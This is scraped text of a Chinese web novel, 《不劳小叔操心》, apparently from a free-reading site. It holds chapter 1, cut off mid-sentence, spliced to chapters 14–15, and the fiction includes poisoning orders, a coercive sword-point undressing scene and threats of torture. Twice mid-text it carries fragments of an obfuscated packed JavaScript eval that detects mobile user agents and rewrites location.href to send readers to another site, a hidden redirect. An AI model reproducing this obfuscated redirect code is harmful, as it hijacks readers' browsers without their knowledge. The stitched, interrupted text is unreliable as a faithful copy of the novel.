《不劳小叔操心》 1. 第1回 《不劳小叔操心》全本免费阅读 盛夏时节,落日的余晖透过错落的树影洒在听荷院白墙上,金光如星子般闪烁。 垂花廊下,姜扶笙发丝半绾,只着一袭凝脂色软绸长衣并同色百迭裙。宫绦挽作酢浆草结系住盈盈腰肢,本就身量纤细的人更见清瘦。她无心欣赏眼前美景,只眉目焦灼地望着庭前月洞门处。 “少夫人,您别太着急了。” 翡翠心有不忍,出言相劝。 “是啊,少爷一定会找到三姑娘和四姑娘的。”珊瑚也跟着劝慰。 这是姜扶笙跟前的两个大婢女,自幼同她一道长大,自是打心底里心疼她。 姜扶笙摇摇头:“没事。” 话虽如此,心口犹如坠了千斤重石一般沉重。 半个月前,豫州发了大水。 父亲姜守庚身为户部尚书,赈灾之事自是当仁不让。孰料出行不过五六日,赈灾银子竟不翼而飞。 刑部的人在姜府搜出了官银,元启帝龙颜震怒,当即便要将姜家抄家灭族。幸得几位老臣求情,一家老小才得以保全性命,却也是要抄家流放的。 祸不延外嫁女,姜扶笙出嫁已经三年,自然免受牵连。 但出事的是她父母、她最亲最近的家人,她的焦急担忧可想而知,不过短短几日人生生消瘦了一圈。 好在夫君陆怀川素来真心待她,陪着她四处奔走。安排了母亲随父亲和大哥一道流放去岭南。又打点了教坊司的教坊使,让三妹四妹在那处只做些打扫、烹饪一类的活计,不必抛头露面。 姜扶笙稍稍安了心。她了解父亲的为人,父亲绝不会做下贪赃枉法之事。正在她与陆怀川盘算着先想法子还了父亲清白,再接三妹四妹回家之时,竟接到消息说三妹四妹被人赎走了。 她自是要寻人的。可任凭她和陆怀川想尽法子,百般打听,也未曾得到两个妹妹的一丝消息。 父母和兄长还在流放的途中,照顾两个庶妹便是她的职责。如今人不明不白地不见了,她岂会不急? “少夫人,少爷回来了!” 珊瑚出言提醒。 姜扶笙已然瞧见陆怀川了,她提起裙摆奔下石阶:“夫君,可打听到消息了?” “娘子,慢些。”陆怀川加快步伐上前扶她。却因走得快了,虚握着拳掩唇咳嗽起来。 他身量瘦削,面色有几分苍白,月白长衫外罩酂白锦缎暗纹圆领襕袍,是轻雾一般淡雅温和的人。 “你怎么样?”姜扶笙歉然地轻捶他后背。陆怀川处处都好,只是身子骨弱了些。 陆怀川摆摆手望向她,眸色温柔宠溺:“无碍。” 望着姜扶笙近在咫尺的脸,他心又一次抑制不住悸动。姜扶笙于他曾宛如天边悬月,可望而不可即。以至于成亲已三年,他有时恍惚还不敢信她已是他的妻。 “夫君……”姜扶笙待再问。 陆怀川忽然开口:“别动。” 姜扶笙睁大乌眸不解地看他。她出了汗,几缕乌发蜷在雪腮边。 美人凝露,我见犹怜。 陆怀川抬起袖子,仔细替她拭汗。目光一点一点描摹她精致漂亮的五官。 她生得极美,黛眉杏眼,圆润的眼角微垂,唇瓣不点自润,小鹿般乖恬又不失灵动。此刻偏头看过来,好似兰花带朝露清晖绽放,转盼流光,海棠醉日。 只可惜,嫁给他之后她远不如从前爱笑了。 “打听到了吗?” 姜扶笙攥住他袖子,期待地望着他。 她连着数日奔走,今日是体力不支才未曾出去。 陆怀川叹息了一声,似有感慨。少顷,他温声道:“此事恐怕有些难为。元承他……” 姜扶笙听他提“元承”二字,黛眉不由微微皱起。 陆怀川见她皱眉,面上若无其事,眼底却闪过点点暗色。 “少爷,夫人请您过去说话。” 小厮在院门口禀报,打断了陆怀川的话。 陆怀川应了一声,回头理了理姜扶笙的衣袖,含笑嘱咐她:“你先回房歇着,别太忧心。我去母亲那处,回来再与你细说。” “好。”姜扶笙点头应下。 姜扶笙立在原地若有所思。 “少夫人。”珊瑚探头道:“要不然咱们求小侯爷帮忙找找吧?” “小侯爷”正是陆怀川方才所提之人,良都侯嫡子赵元承。 “珊瑚!”翡翠皱眉剜了她一眼。 少夫人和小侯爷青梅竹马,年少时有一段过往。后来情势所迫,不得已才嫁给了如今的姑爷。 这本是少夫人的伤心事。加上三姑娘和四姑娘不见了,可怜少夫人心急如焚,珊瑚怎么这样不懂事,还在这时候提小侯爷! 珊瑚也知道自己理亏,但还是心疼姜扶笙,小声分辨:“奴婢是想着小侯爷人好,或许愿意帮忙……” 少夫人原是家中娇养女儿家,什么也不用操心。如今却要担起这许多事,唉! “他平安回来就好。” 姜扶笙打断她的话,转身低垂螓首往回走。 日头落了下去,凝脂色裙摆沾了夜色,纤细的背影平白多出几分愁思来。 * 春晖院坐落于陆府二门内最好的位置,院落内房屋布局规整,花草栽种方正有序。 院门前刻着“纳福吉祥”字样的雁翅形照壁。廊下下人见了陆怀川纷纷见礼。 “娘。” 陆怀川进门施礼。 “快来坐。”陆夫人朝他招手,又吩咐:“将润肺的凤髓汤端来。” 她坐在主位的楠木圈椅上,金如意簪顶端镶着一颗红宝石。豆绿色织纹团花交领裙,外头罩着浅金色褙子。虽已过不惑之年,望之却不过三十许,贤淑得体,眉目间又隐有几许精明。 婢女很快捧了莲纹青釉海碗进来,奉到陆怀川跟前。 陆怀川用了几口,捏着帕子擦拭:“娘叫我来,是要说笙儿的事么?” 陆夫人乜了他一眼:“说她做什么?说了你也未必肯听。” 姜家出事之后,她话里话外提点过陆怀川几回,示意他不要管姜家的事,免得被连累。可陆怀川哪里肯听? 陆怀川不肯做的事情谁也勉强不了。她也只能旁敲侧击,徐徐图之。 陆怀川闻言不语,只是朝她笑了笑。 陆夫人看着他,目光慈爱中又带着点点忧虑:“元承登门你是知道的。” “他久不归京,您是他姑母,他来探望您也是应当。”陆怀川垂下眼眸。 陆夫人意味深长道:“你当真不知道他来是为了谁?” 陆怀川垂眸不语,握着膝盖的指节一片苍白。 陆夫人道:“近日我总是心神不宁。你舅父高居丞相之位,那深得陛下信任的奉玄真人竟又是元承的师兄。这两厢若是联手,岂不是能遮了上京的天?” “无论如何,那也是您的娘家,您别太忧虑了。”陆怀川温和地宽慰她。 陆夫人摇头:“你又不是不知道,自姜氏进了咱们家的门,我何曾与他们有过往来?” 她与良都侯赵广振并非亲姐弟,而是同父异母。她是老良都侯难产而亡的元妻所出,赵广振则是继室的孩子。姐弟之间不是很亲近,但还算过得去。 当年姜扶笙与赵元承情投意合,他们几家都是知情的。可两家要议亲时,向来谦和温润的陆怀川却犹如疯魔了一般,忽然闹着要娶姜扶笙。甚至以自己性命作为威胁,逼迫他们夫妻想法子。 她膝下就陆怀川这么一子,怎会不依他? 后来,陆怀川娶了姜扶笙。赵元承则不知所踪。陆家与良都侯府便再也没有走动过。 此番,赵元承回来没几日便登门探望,她总觉得和姜扶笙有关系。为求家中安稳,她还是想让陆怀川休了姜扶笙。 陆怀川默然不语。 陆夫人终究按捺不住:“二郎,你们几人一同长大,姜氏本是和元承互相心许,可你当初非要……眼下良都侯府如日中天,元承得势,恐怕不会与咱们善罢甘休。” “我与笙儿已是夫妻。元承磊落轶荡,是知礼义廉耻之人,不会对嫂嫂胡搅蛮缠的。”陆怀川扶着桌子起身,神色平和,眸底隐约闪过沉色。 良都侯府势大又如何?他陆府也不是纸糊的。 “人是会变的……”陆夫人也跟着起身,还待再劝。 陆怀川咳嗽了几声,摆手打断她的话:“身上乏累,娘若无旁的事,儿子就先回院子去了。” 他自是明白母亲是想让他知难而退,但要他放弃姜扶笙,除非他死。 “良都侯府的帖子下了好几日,明日要摆宴席庆贺元承归来。”陆夫人说服不了他,只能无奈道:“要不要带姜氏去你自己掂量。” 陆怀川应了一声。 陆夫人目送他出门去之后,叹了口气重新坐了下来。 “二少爷向来稳重,诸事心中都有数,夫人别太忧心了。”花嬷嬷上前宽慰。 “他有什么数?”陆夫人捧起茶盏又放下:“一个罪臣之女,嫁过来三年也无所出,难为他还如珠如宝的护着。” 花嬷嬷道:“夫人,您往好处想,咱们二少爷这是重情重义,品行高洁。” “情深不寿。”陆夫人摇头叹息:“太重情义未必就是好事。” * 夜色岑寂,灯光晦暗,清瘦的身影在黑暗中缓步而行。 宁安静静地紧随其后。 “主子。” 玉成迎面而来,上前行礼。 陆怀川停住步伐,低声问他:“查清楚了?” “是。”玉成回道:“少夫人的两个妹妹确实被小侯爷带回去了,就在良都侯府的后宅的叙兰院中,属下亲眼看见。” 陆怀川握紧拳头,一时不曾作声。 远处有虫鸣声传来,更显夏夜静谧。宁安和玉成都低着头等吩咐。 斑驳的树影模糊了陆怀川的神色,片刻后他朝宁安招手,耳语几句,又嘱咐他:“即刻便去,多带人手,我在外院书房等你回来复命。” 宁安神色一变,低头恭敬应下。 * 良都侯府,叙兰院。 夜凉如水,庭前玉兰树枝繁叶茂随风轻摇,暴雨冲刷了庭院内的血腥。 月亮爬上树梢,清冷的月光和四斜球纹格楠木门内的烛光融为一体,落在门内的人身上。 郎君宽肩薄背,太极髻上随意簪着一支木质祥云簪,靠在紫漆花梨木雕鹤摇椅上,手中捧着一本书翻看,甚是惬意。晚波青锦绸襕袍内里衬着牙白中单,水云暗纹随着椅子摇动明灭不定。端的是姿仪超拔,贵不可言。 石青推门而入。他生得高大健硕,一身墨色劲装,带进来一阵血腥气。 赵元承自书中抬头。 “都解决了。”石青手扶着腰间剑柄,实在想不明白:“您说陆怀川到底想做什么?这戏自弹自唱的一出又一出,属下实在看不明白。” 赵元承手里的书翻了一页,随意抬起一条长腿搁在脚凳上:“人在我府上出了事,你猜姜扶笙会记恨谁?” 他的这个表哥,可远不是表面看起来那样良善无害。 石青愣了一下道:“他是想让主子和姜姑娘反目成仇?” 虽然姜扶笙已经嫁作人妇,他还是习惯称呼姜扶笙为“姜姑娘”。 赵元承抬起头轻晃摇椅:“以牙还牙如何?” “您要让姜姑娘和陆怀川反目啊?”石青愣了愣:“怕是不易。” 听闻姜姑娘和陆怀川相敬如宾,在上京传为佳话呢。 赵元承垂眸笑了笑。 石青挠挠头道:“这样的话陆怀川岂不是还会卷土重来?” 赵元承不知想起了什么,怔了片刻后轻笑一声:“来便是了。” “就是,咱们还怕他不成?”石青很是赞同,又询问:“那两个姑娘还继续留在隔壁?” 赵元承合上书册,修长的手指捏着一个白玉细口瓶递过去:“毒杀。” “毒杀?”石青睁大眼睛看他:“那您还让我放消息出去,姜姑娘明日寻来……” 姜姑娘明日寻来这里只能看见两个妹妹的尸体,太残忍了吧。还有,既然要杀了,方才干嘛护?难道就为了给陆怀川一个下马威? 这又救又杀的,他已然彻底懵了。 赵元承掀起薄薄的眼皮扫了他一眼。 石青赶忙住了嘴:“属下这便去安排。” * 夤夜,暴雨过后月朗星稀。 陆怀川推门,带进一片潮湿之意。 屋里陈设整洁雅致。墙上挂着一幅单条牡丹图。左手处是花梨木四方八仙桌并四张长凳子。正对面主位设圈椅与茶几,右侧摆着同是花梨木刻祥云的软榻。 卧室,千工拔步床床幔垂坠,长颈冰裂纹白瓷宽口瓶里插着几支新鲜的莲花,亭亭玉立,清香扑鼻。 “扶笙。”他勾起床幔坐到床边,拍拍姜扶笙。 “夫君,怎么到现在才回来?” 姜扶笙闻声惊醒,睡 2. 第2回 《不劳小叔操心》全本免费阅读 晌午时分骄阳似火,蒸得柳树叶儿蔫蔫的,道边的狗躲在阴凉处伸着舌头直喘气。 姜扶笙随着陆怀川下了马车,抬头看到牌匾熟悉的“良都侯府”四个大字她步伐不禁顿了顿。 等会儿见了赵元承,她该露出什么样的神情?倘若她给他赔罪,他能放了她的两个妹妹吗? 陆怀川看出她的担心,宽慰道:“你知道元承的为人。这么久再大的事情也过去了。再说今日宾客不少,他不会当众为难我们的。” 姜扶笙点头。 陆怀川说得不错。她是对不起赵元承,可她都嫁人了,事情也已经过去三年了,赵元承应当释怀了吧。或许,他已经重新有了中意的姑娘,早不在意从前的事了吧。 若赵元承不肯放人,她就设法去叙兰院见一见三妹四妹。 “金金,宥齐。” 道路边传来一道温婉柔和的女声,称呼颇为亲近。 姜扶笙回头不由弯眸笑了:“婉茹,你什么时候下山的?” “金金”是她的乳名,只有亲近之人才知道。听娘说,她尚在娘胎时,爹就盼着娘能给他生个女儿。她落地之后,爹欢喜的不得了,当即便给她取了“金金”做乳名,意在将她比作金子一般珍贵。 “宥齐”则是陆怀川的小字。 来的人是陈太傅之女陈婉茹。陈婉茹也是和他们一起长大的,几人之间很是熟络。 赵元承不知所踪后,陈婉茹也在随后生了病。陈太傅四处求医,最后听了高僧提点,将陈婉茹送到山上的庙中养着了。 这几年,陈婉茹下山的次数寥寥无几。 “三日前回来的,我身子已经痊愈再不上山了。此番回来还没来得及去拜访你们,都安好吧?” 陈婉茹墨色长眉,眼尾上扬,是妩媚俏丽的长相,穿戴却简素。发髻上只一支镶着几颗珍珠的素银簪,牙白上襦衫外头罩着素纱禪衣,穿着一条及脚面的间裙,望之淡雅素净。 她上前亲昵地拉过姜扶笙的手,动作亲昵又不失规矩。太傅府比着尺子长大的嫡女,一言一行皆是大家闺秀风范,礼仪堪为上京女子表率。 “尚好。”姜扶笙想起家人不免心中黯然。 父母兄尚在途中受苦,她却连妹妹都护不住,好什么呢? “别哄我了,我都知道了,慢慢来吧。”陈婉茹慢言细语地宽慰她。 姜扶笙点头,两人牵着手迈过高高的门槛。陆怀川紧随其后。 此刻时辰尚早,宾客多数未至,侯府厅前只有一众下人穿梭忙碌着。 花厅垂花门洞开,隐约可见人影晃动。姜扶笙不免惆怅,总归她没有颜面再见赵元承。 “来。” 陈婉茹提起裙摆跨过门槛,似一朵清雅莲花在风中轻盈地摇摆,很是悦目。 “我们先去和他打招呼,看看他是什么姿态。”陆怀川低声和姜扶笙说话。 姜扶笙下意识拢了拢衣领随着陆怀川进了门。早上梳妆时才发现脖颈处的痕迹,好在只是浅浅的几点,不留心应当瞧不见的。 陆怀川将她的举动看在眼中,眸色沉了沉。但不过片刻,他眉眼处的阴霾便一扫而空,取而代之的是一片春山如笑。 屋内有五六人聚在一起谈笑风生,姜扶笙一眼便瞧见了那道清隽挺拔的身影。 山间明月,世上少年,无论何时何地,他从来都是最引人注目的存在。 赵元承有所感,抬眸望过来。看清是她,他唇角微微扬起,狭长的眸中却没有丝毫笑意。那眼神似笑非笑、讥讽、凛冽,夹杂着玩味却又极具攻击性,灼亮到仿佛能看透人心。 姜扶笙错开目光,心中没来由地一阵慌乱。那湛湛目光犹如猛虎盯着猎物,她无所遁形。愧疚与心悸同时向她袭来。 她从未见过这样锋锐冷肃的眼神,再不是从前的清润少年。 “表弟。” 陆怀川错步挡在姜扶笙身前,含笑与赵元承打招呼。 有陆怀川在身前挡着,姜扶笙心底的弦仍然绷着。赵元承似乎很恨她。要让他放过三妹四妹恐怕很麻烦。 赵元承并不理会陆怀川,拨开面前的人阔步上前。他在姜扶笙面前站定,乌浓狭长的凤眼微微眯起,唇角勾着意味不明地笑,毫无顾忌地打量她。散漫不屑,却在不经意夺了满室天光。 还是意气风发,但比起从前终究多了几分冷硬。 姜扶笙想开口和他赔罪,可他的目光像一只无形的大手掐住了她的脖颈,令她遍体生寒,一时无法启齿。 他怎么会变成这样?这三年,他到底经历了什么? 陆怀川牵起她的手,朝赵元承开口:“元承,你表嫂她……” “临时有事,我先失陪一下,诸位不必拘礼,有事吩咐下人便可。”赵元承目光掠过两人相牵的手嗤笑了一声,径自出门去了。 姜扶笙见他这般做派到底犯愁。他恨她倒也没什么,只是他连赔罪的机会都不给她,三妹四妹那里该怎么办? 陆怀川忙低声宽慰她:“没事,我会想办法的。” “嗯。”姜扶笙抬头朝他道:“眼下时候还早,我想和婉茹到园子里去走走。” 既然赵元承这边行不通,她不如先去叙兰院见三妹四妹一面。看看她们的处境,再商量一下接下来该如何。 陆怀川也不知是什么心思,不告诉她三妹四妹的所在之处,那她也便先不和他说。 陈婉茹笑道:“我也正有此意。” “好,别走太远。” 陆怀川不由往前跟了几步,其实他并不想姜扶笙离开他的视线。不过眼下这情形,他也不好拦着,只能由着她去了。 * 良都侯赵广振年轻时勇冠三军,用兵如神,极受先帝信任。府邸由先帝亲赐,府中园子占地广,奇花异草众多。除了宫内的御花园之外,可称“上京之最”。 姜扶笙一路与陈婉茹说着话,留意着寻找合适的时机独自行动。瞧见不远处的游廊,纤纤玉手一指:“那边看着凉快,咱们过去吧?” 陈婉茹应了。 那游廊一面临水,另一面草木葳蕤,正是避暑的好地方。 几个女客手持团扇正在游廊尽头的八角凉亭中消暑说话,瞧见二人纷纷笑着招呼。 姜扶笙站了一会儿,便借口更衣出了游廊。她回头瞧了好几回,确定无人跟上来,这才直奔叙兰院。 前面院子门外一丛美人蕉开得如火如荼,惹人注目。 姜扶笙三步并作两步走到院前。举目望去,门上方端端正正刻着“叙兰院”三个大字。 一脚踏进院子又迟疑地缩了回来。她疑惑地探头查看院子里的情形。这里空无一人,倘若真关着三妹四妹,赵元承怎会不安排人看守? 这很不对劲。 是不是赵元承已经将人藏到别处去了? 她夷犹片刻便定了主意。费尽心思又走了这么远的路,不查看一下怪可惜的,万一三妹四妹在里面呢? 就算妹妹们不在里面,这空空如也的院子看一看也不会有什么危险。 绕过壁照她才发现,庭前种着玉兰、荆桃、红枫、海棠,还有石榴树花开得如火如荼……她心中有所触动,抿唇转开了目光。 赵元承曾问她喜欢什么花草树木。 她掰着手指一口气说了许多。 赵元承笑话她贪心,却又说要在府中遍种她所爱。她以为他不过说笑,此刻方知他说的是真的。 只可惜,她并非良人。 不看不想,她转身拾阶而上。 “扶摇,扶摇?” 她走到离得最近的东侧房前敲了敲门,等了片刻屋子里毫无动静。 会不会妹妹们被捆着手脚,堵住了嘴?她谨慎地左右瞧了瞧,抬手轻轻推了门。 那扇门“吱呀”一声应声而开,屋子里陈设一目了然,空无一人。 她失望地拉上门,后退一步转身走到正屋前。才抬起手来欲敲门,眼前四斜球纹格楠木门忽然开了,一只修长冷白的手伸了出来,精准地捉住她纤细的手腕。 姜扶笙瞧见门内那双狭长乌浓的眼,尚未来得及多想便被一股大力拽进了屋子。 门“砰”的一声合上。 时隔三年,熟悉的气息再度袭来。姜扶笙惊慌失措,奋力想摆脱那双大手的掌控。赵元承怎么会在这里? “你做什么……” 赵元承制着她,目光阴沉沉落在她身上,唇角勾着嘲讽的弧度:“你自己送上门来,反倒问我?” “你放开!” 姜扶笙听他说话如此不尊重,一时羞愤不已,更是用尽了力气挣扎。 但她这点力气,在赵元承面前不过是蜉蝣撼树罢了。赵元承轻轻松松将她手腕摁在了门上。 她手臂太过纤细,羊脂玉的手镯圈便显得极大,落在她纤细的小臂间,碰撞中发出声响。细嫩肌肤比手镯还白,挣扎中蹭出几丝暗昧红痕。 “你选的好夫婿,就将你养成这副弱不胜衣的鬼样子?” 赵元承乌浓的眸中满是讥诮。 姜扶笙听他这样说陆怀川,自是要辩解:“他待我很好,是……” 是家中出事之后,她茶饭不思夜不能寐,才会如此消减。与陆怀川不相干。 赵元承挑眉,手中不自觉用了力气:“承认他是废物很难?” 姜扶笙被他捏得呼吸一促,猛地挣脱他的手:“当初的事情,是我一人之过,你别这样说他。” 陆怀川待她的好,她都记在心上。赵元承说她什么都可以,但不要牵扯到陆怀川。 “你倒是挺护着他。” 赵元承盯着她红润的唇瓣,狭长的眸子眯起,忽然轻轻笑了笑。 姜扶笙被他笑得毛骨悚然,瑟缩着想远离他。直至此刻她才后知后觉地明白,眼前这人什么都做得出,他早已不是三年前的赵元承了! 赵元承捏住她下巴蓦然逼近。 姜扶笙两只手拼命拍打他:“我是你表嫂,你不能这样……” 她心慌得很。陆怀川就在前厅,或许这会儿已经在寻她了。赵元承这样纠缠她,倘若她等会儿出去叫陆怀川看出来,陆怀川该多难受?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837831|134596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一咬牙,将手里的银票送到书案上。 “这里是五百两,若是不够,我回去再让人给你送。” 她来时,就只带了这些。 牙行里年轻的婢女不过十五两一个。豆嬷嬷那样年纪大的,多数时候都卖不掉,她带五百两本以为绰绰有余,不料面对的却是赵元承。 赵元承终于从剑上移开目光,但也只是瞥了那叠银票一眼。 “我还有三千多两银子,都给你。” 姜扶笙只当他嫌少,紧忙补了一句。 赵元承又钻研起他的剑来。 姜扶笙心急,咬咬牙:“庄子上的良田也给你……” 还有一家粮铺她不能拿出来。倒不是她贪财,只是这是她仅有的东西了,替爹翻案往后还有许多要用银子的地方。 赵元承手抚长剑偏头看她:“嫂嫂求人,要有诚意。” “小侯爷,这些是我仅剩的所有……” 姜扶笙往前一步,言辞恳切。 赵元承忽然挥出长剑搭在她脖颈上,锋芒如银刺着她的眼睛。 姜扶笙话说一半,戛然而止。剑尖冰凉,激得她长睫剧烈颤动,她抿着唇倔强地没有后退。 赵元承要杀她。他恨毒了她,折磨够了,这便要对她下杀手了。 她大概是没有机会救回爹娘和哥哥了,她大不孝。 “你要杀便杀吧。” 她闭上眼睛抬起头,硕大的泪珠顺着脸颊滚落下来,砸在衣襟上洇出一片深色。 “杀了你?岂不便宜你?” 赵元承乌浓的眸底闪过怒意。 剑尖自姜扶笙雪白修长的脖颈滑下,他手腕一转轻易挑开她的衣襟。 冰冷的剑尖紧贴着肌肤游蛇般在身前游走,剑上寒意似乎透进骨髓,姜扶笙遏制不住战栗,泪水簌簌直掉。 赵元承手中一顿,剑尖落她腰间那根细细的宫绦上。 心口处透进凉意,衣裳已然敞开,姜扶笙惊惧惶然,犹如受到惊吓的小兽浑身瑟瑟发抖。 她泪眼婆娑地哀求他:“求你,不要……” 赵元承唇角微勾,乌浓的眸似深不见底的寒潭要将眼前的人吞噬殆尽。 方才死都不怕,这会儿倒贞烈起来。她还真是时时刻刻都想着给陆怀川守贞。 剑芒划过,宫绦断裂。 赵元承一字一顿:“私以为,如此——” “才能彰显嫂嫂的诚意。” 长剑如霜,铮铮坠在脚边。 姜扶笙身周华裳零落一地,一如昨日脂玉般雪白的肌肤,腰间青紫的指痕赫然在目。烟粉色云锦抹肚正中间划出一道整齐的口子,点点春光若隐若现。 赵元承盯着她,乌浓的眸底墨色如潮水般激烈翻滚。 他眼梢殷红,阔步朝她走去。犹如猎捕中的鹰隼,被他锁定的猎物便是有天大的本事,也无法逃脱他的掌心。 “你别过来!” 姜扶笙绕着书案躲他。 赵元承恍若未闻,仍然一步一步逼近。 姜扶笙走投无路,俯身捡起地上的长剑对着他。 “你若再往前一步,我便不客气了!” 她红着眼睛厉声威胁他。剑身太过沉重,她用双手握着仍然颤颤巍巍。 15. 第15回 赵元承睨视着她,勾起唇角笑了一声。他依旧朝她走去,口中不紧不慢说着:“这样倒也好。我这人记仇,但凡活着便会盯着你不死不休,你一日都别想好受。杀了我你便解脱了,省得我活着不依不饶,耽搁了你和你的好夫君恩爱。二金,动手吧。” “你,你从前不是这样的……” 姜扶笙听他唤她“二金”,禁不住泪水长流。 她乳名“金金”,长辈和亲近的朋友都这样称呼她。 只有赵元承不好好唤她乳名,时时喊她“二金”。 而她,从小喜欢亮晶晶的东西,第一次见面便抓着赵元承腰间的玉玦不松手。 小时候她一直喊他“玉玦哥哥”,后来喊他“赵玉玦”…… 赵元承迎着剑尖上前,从容不迫。 姜扶笙举着剑被他逼得节节后退。 “二金。”赵元承盯着她的眼睛:“你告诉我,我为什么变成了这样?” 姜扶笙无言以对,退到墙角后背紧贴着墙壁避无可避。 赵元承的胸膛已然抵在了剑尖上。 她吓得将剑往后缩了缩。 “不是要杀我么?”赵元承偏头看着她:“躲什么?” “你,你别逼我……” 姜扶笙慌张失措,手中长剑颤抖得更厉害。 “来。” 赵元承又进一步。 姜扶笙忽然撤回长剑,架在了自己脖子上。她真的被他逼得无路可走了。 “你敢!” 赵元承瞳仁猛缩,厉喝了一声。 “姜扶笙,你若敢死,我便让人将你爹娘兄长全都关起来折磨,让他们生不如死!” “不要。” 姜扶笙手里的长剑“铛”一声落在地上,她靠着墙软软地滑下去,抱着自己啜泣起来。 纤瘦的人儿缩成一团,缩在角落处,像寻不着娘亲失了依靠的小猫,叫人心生怜惜。 “哭什么?”赵元承居高临下望着她:“一切都是你自找的。” 姜扶笙只是哭着不说话。 赵元承望了她片刻转开目光:“陆怀川连你爹娘都救不回来,还跟着他做什么?和他和离。” “我不和离。” 姜扶笙没有任何犹豫地摇摇头。 陆怀川待她何其好?且从未和她要过回报。她若离开陆怀川,天理难容。 “姜扶笙。”赵元承蹲下身,挑起她满是泪痕的脸:“你不是说你的夫君要从一而终吗?陆怀川都纳妾了。” 姜扶笙摇摇头:“那不过是年少时不懂事的戏言罢了。” 长大了自然明白,天底下哪有不纳妾的男子? “你倒是深情,那就看着你爹娘兄长是什么下场吧。” 赵元承遽然松手,拂袖而去。 石青等在门口听着动静大气都不敢出一口。见自家主子出来连忙低头跟了上去。 姜姑娘也真是的,陆怀川有什么好?病歪歪地还纳妾,姜姑娘做什么非要跟着陆怀川?也不想想他家主子多好?她都抛弃过他家主子一次了,主子还抛下脸面来让她和离。她居然还不愿意。 他都生气了,更别说主子了! 姜扶笙定了定神,起身拢衣裳。上襦还在,可都叫赵元承划破了,宫绦也断成了两截,这还怎么穿? “少夫人,奴婢进来了?” 外面,传来翡翠的声音。 姜扶笙抬头往外看。 翡翠托着一叠衣裙进来,瞧见姜扶笙凌乱的衣衫也是吃了一惊:“少夫人,您……” 虽然说当初少夫人背弃了小侯爷是做得不对,可少夫人也是迫不得已,小侯爷怎么能这么对少夫人呢? 再一个,小侯爷和少爷是表兄弟啊,他怎么能…… “不是你想得那样。”姜扶笙解释:“他恨我,是以这般羞辱我泄愤。” 翡翠叹了口气,将衣裳搁下上前替她更衣。 她总算知道为什么石青安排她一人进来,不让珊瑚跟着了。就珊瑚那爆竹似的性子,眼见少夫人受这样的委屈,不得气炸了? 翡翠手脚麻利,姜扶笙在她的帮助下很快换了一身衣裳,整理妥当她眼前一亮。 银珠色洒金裙色稍稍宽大了些,系上宫绦更显得人纤细。清新调柔和的色调是她家少夫人从前最喜欢的,衬得整个人肤光胜雪,更显稠丽乖恬。 想起来,少夫人已经很久不穿这样色调的衣裳了。嫁人之后总是穿着要比从前稳重些。 “回去别和少爷说。” 姜扶笙嘱咐了一句。 她怕陆怀川难过,也怕自己难堪。 “奴婢明白。” 翡翠自然懂。 姜扶笙瞧了瞧书案上的银票,迟疑了一下还是收了起来。 赵元承肯定不会将豆嬷嬷给她。这银子她还要留着办其他的事。 “走吧。” 她当先出了书房。 珊瑚正在院子门外,见她二人出来很是欢喜:“少夫人,您看!” 姜扶笙走近了一瞧,珊瑚手里牵着一根绳子,绳子的另一头系着五花大绑的豆嬷嬷。 她看着豆嬷嬷,眸底泛起迷茫之色。 赵元承这是将人给她了? 豆嬷嬷才挨了珊瑚一顿臭骂,此刻见了姜扶笙更是羞愧,连忙扭过身子去头偏向一侧不敢看姜扶笙。 “她怎么在你这儿?” 翡翠上前不由问了一句。 珊瑚眨了眨眼睛:“不是少夫人花大价钱从小侯爷那里买来的吗?” 姜扶笙手中攥着银票,没有过多迟疑便交给了翡翠:“放回去。” 赵元承的便宜她半点也不敢占。 “我们先走,你带好了她。” 姜扶笙吩咐了珊瑚一句,当先而行。 “少夫人,您不等珊瑚出来再一起走吗?” 珊瑚拉着豆嬷嬷跟上去询问。 “等会儿她走快一些,自然就追上我们了。” 姜扶笙没有回头,步伐反而更快,像后头有老虎在追赶似的。 这地方她哪里还敢久留?生怕出去晚了,再叫赵元承拦下来。陆怀川 院墙拐角处,赵元承负手而立,望着姜扶笙逃也似的越走越远。 石青和莫山二人立在他身后。 “主子,咱们费了那么大的劲儿找回来,您就这么让豆婆子跟着走了?” 石青看自家主子脸色似乎好看了些,胆子也大了,张口询问了一句。 赵元承偏头看了他一眼:“让她去,自然有让她去的道理。” “有什么道理?”石青忍不住嘀咕道:“依着属下看,您就是心里还有姜姑娘……” 话说到这里,抬头见自家主子刀刃一般锋利的目光扫过来,心里实在瘆得慌,遂捂着嘴不敢再说。 “你胡言什么?”莫山素来一本正经:“主子让豆婆子跟着去,是为了试探陆怀川的反应。” “哦。”石青心虚地看了一眼赵元承。 陆怀川其人绝不像表面看起来那么简单,他们所遇到的许多事情都有可能和陆怀川有关系。 这件事主子倒是提过,他方才没想起来,反而一心在看主子的热闹上了。 “再这样,便别在上京待着了,去边关历练历练。” 赵元承负手前行。 “属下不敢了。”石青跟在后头认错。 * “把人带上来,我有话问她。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852913|134596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜扶笙上了马车吩咐。 “少夫人,奴婢赶马车,让翡翠和您一起在里面审问她吧。” 珊瑚不放心,怕豆嬷嬷对姜扶笙不利,提议让翡翠也进马车里。 “好。” 姜扶笙应了。 珊瑚和翡翠正合力扶着被捆得死死的豆嬷嬷上马车,便听一阵急促的马蹄声。 “扶笙?” 陆怀川的声音传过来。 姜扶笙撩开窗口的纱帘探出脑袋,看到陆怀川正下马车。 姜扶笙招呼道:“夫君,你来了。” 